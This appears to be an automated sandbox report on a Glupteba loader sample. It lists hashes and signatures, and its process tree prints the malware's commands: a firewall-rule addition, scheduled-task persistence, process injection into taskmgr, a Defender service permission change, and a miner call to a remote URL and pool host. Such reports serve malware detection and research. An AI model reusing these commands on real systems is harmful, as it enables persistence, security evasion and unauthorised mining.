Analysis
-
max time kernel
4s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
16-05-2024 23:47
General
-
Target
a44496ed866d43a191a759d0d0040514c38a766be2190525ffcc968427570c84.exe
-
Size
4.1MB
-
MD5
d7becab984e3115af095a1681511f9f1
-
SHA1
2fdb25fb97bfb644d1ddf973376d0f6734278eec
-
SHA256
a44496ed866d43a191a759d0d0040514c38a766be2190525ffcc968427570c84
-
SHA512
9832989bff1f2b1c7d69fc71de6f4a4d652114fa1146ec78e46a61bab19358682bbdf57fea2b8e1fc6c74ef9afc6a1b2a343695a3a11b7bee34a9ab47c0df3c5
-
SSDEEP
98304:fBdNwdIX1m95GdEY+SdNeV8DIvNeESR+qiVH7IImK:feIFcGdrdiVeIFy4rVHJ
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 30 IoCs
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
UPX packed file 25 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Using powershell.exe command.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes
-
C:\Users\Admin\AppData\Local\Temp\a44496ed866d43a191a759d0d0040514c38a766be2190525ffcc968427570c84.exe"C:\Users\Admin\AppData\Local\Temp\a44496ed866d43a191a759d0d0040514c38a766be2190525ffcc968427570c84.exe"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a44496ed866d43a191a759d0d0040514c38a766be2190525ffcc968427570c84.exe"C:\Users\Admin\AppData\Local\Temp\a44496ed866d43a191a759d0d0040514c38a766be2190525ffcc968427570c84.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
-
-
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
2.0MB
MD51bf850b4d9587c1017a75a47680584c4
SHA175cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA256ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
SHA512ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
-
Filesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
Filesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
Filesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
Filesize
2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
Filesize
18KB
MD51405389c2046fc3e3d29970c092c09ed
SHA1550a143b0e8ca3eeff5a3b73a3d6f66202ce0b94
SHA25649f90c06abe9fb71040c17ed09afb0783a67580f5850119c6beda53b780d3622
SHA5127534de48fbc71c099900ba52219a1e72d5730f69b047bd14c5a0496a72ea923b9977fe1854c2759162e8edb8bc2121baf64fb5313a4e2320969ab426508c24c9
-
Filesize
18KB
MD5ac8e78b5030e3f530e4dc4e22d5b504b
SHA13978e3a080356d2b7df3dfa7b66f9e06477d7138
SHA256132bc04ac08cd321bdd87c9b6d2fa574240b66034176d62b9455570c790bf8b1
SHA51219dea6492f836a7da24f0900146e189e5a94815a8e32d5280d3713fd7bacb5f1d425e8b184a026b5cf4585dc9f70afe7a0e302c86b09226197d6a94ac5e657cb
-
Filesize
18KB
MD5a08a43ed68d835ae7e66f1b45976bc76
SHA13a344989c479e18eafdb266ca27144d6b8830a35
SHA25692528790a47479d6d14e5195010c619de3bcf37fc8a431a15df9fdfc83b5541e
SHA512cc4fb1fb40078e4f46c53f41751ad05b037ef6e1c12a713e03b1dc10f8cf2ff110d3a363b90b0332c9b0d7091ada03fb76491e571dd0da9bef5a4d523f9a6e3d
-
Filesize
18KB
MD5e04081408290bc4cc15279fc5e38b010
SHA1f56eabdd217745d76c88b77fd1652e30fd9dae6b
SHA256f2d56edd4915385ec4c7218be22f28d98fa172692d447fac03dc7f532b51a121
SHA512b18c3e49aadf3d886fb2202069519a30aa252dd77928918c9c87eccd5c8996522a5f82a484b120747bc599b953371b44071369b5f0eee5d12aa3d7aa8801a9b3
-
Filesize
18KB
MD51ccef3ff4ef5493e4359f8bd98dbc151
SHA1b38ab8990da77103a4b24fb30f4f49e3ae2e4814
SHA256f11857cd1aeddc1f102a04a03feec611a2d9f3476527dace24fe7de6d567f70f
SHA51263d65eaf16ccb5d6cf3163f66a29a8afcaaac06d0afa228b4db71f786aa66e8143ae7c3cbc95e33d45d551aa279ba2ce64323b53d58f41a610eec2e89bb44b61
-
Filesize
18KB
MD5193e13c45592d6b052d3842af72aa5c2
SHA14fdf1ac6ebe221d8a141a1f6e7598a9c220cc8cb
SHA25628fed4aad00268738c62ec779c89dea8231854730bb45f4ddb1fa72b63dc92a2
SHA512e32680ad6f7a351685e581f462e4fc58b0665275dde81cf98ec1b6984de6d304425f56123afc48aca7bd27c729336cb380f4753f26fd33944e33c732a1b1561a
-
Filesize
18KB
MD573a3e3a1e3042e9a299c2d9a7946636a
SHA106e83dc62e94220596a1e4a73aad6d14c9f1e176
SHA25661519acfb033fe6294987f53575d67b49d5ccb5d916a9ad2675d9569a629cc6a
SHA51222e6f50b405188fe0e21c6327c751b6092cc19bde62acd039d99a4bab005b920002084fb5c8c8abcf3194ad8ae45acac888a5731381a769bad47a791f29fd8fc
-
Filesize
18KB
MD5d16c44655f5334a8ecddad586b35d626
SHA1e8669a4892f0420fdc7b9f1f9bf9993877029ce5
SHA2563b7fbb9d6ef6aac6cab2b0ec137de924bcc68761b38133c20daa35f6540af54b
SHA51277dc15d520cbd778d3130670b99e1415c3a279359d9da9d15663970e75d7f5f1ffd40b2170a7938f343dd15028051151367e12e4bcfdd3db4d231c74aa82b285
-
Filesize
4.1MB
MD5d7becab984e3115af095a1681511f9f1
SHA12fdb25fb97bfb644d1ddf973376d0f6734278eec
SHA256a44496ed866d43a191a759d0d0040514c38a766be2190525ffcc968427570c84
SHA5129832989bff1f2b1c7d69fc71de6f4a4d652114fa1146ec78e46a61bab19358682bbdf57fea2b8e1fc6c74ef9afc6a1b2a343695a3a11b7bee34a9ab47c0df3c5
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
Filesize
3.3MB
-
Filesize
408KB
-
Filesize
120KB
-
Filesize
660KB
-
Filesize
300KB
-
Filesize
204KB
-
Filesize
592KB
-
Filesize
32KB
-
Filesize
104KB
-
Filesize
6.9MB
-
Filesize
472KB
-
Filesize
240KB
-
Filesize
300KB
-
Filesize
4KB
-
Filesize
216KB
-
Filesize
6.9MB
-
Filesize
6.9MB
-
Filesize
112KB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
6.2MB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
39.1MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
39.1MB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
39.1MB
-
Filesize
9.1MB
-
Filesize
8.9MB
-
Filesize
4.0MB
-
Filesize
9.1MB
-
Filesize
8.9MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
300KB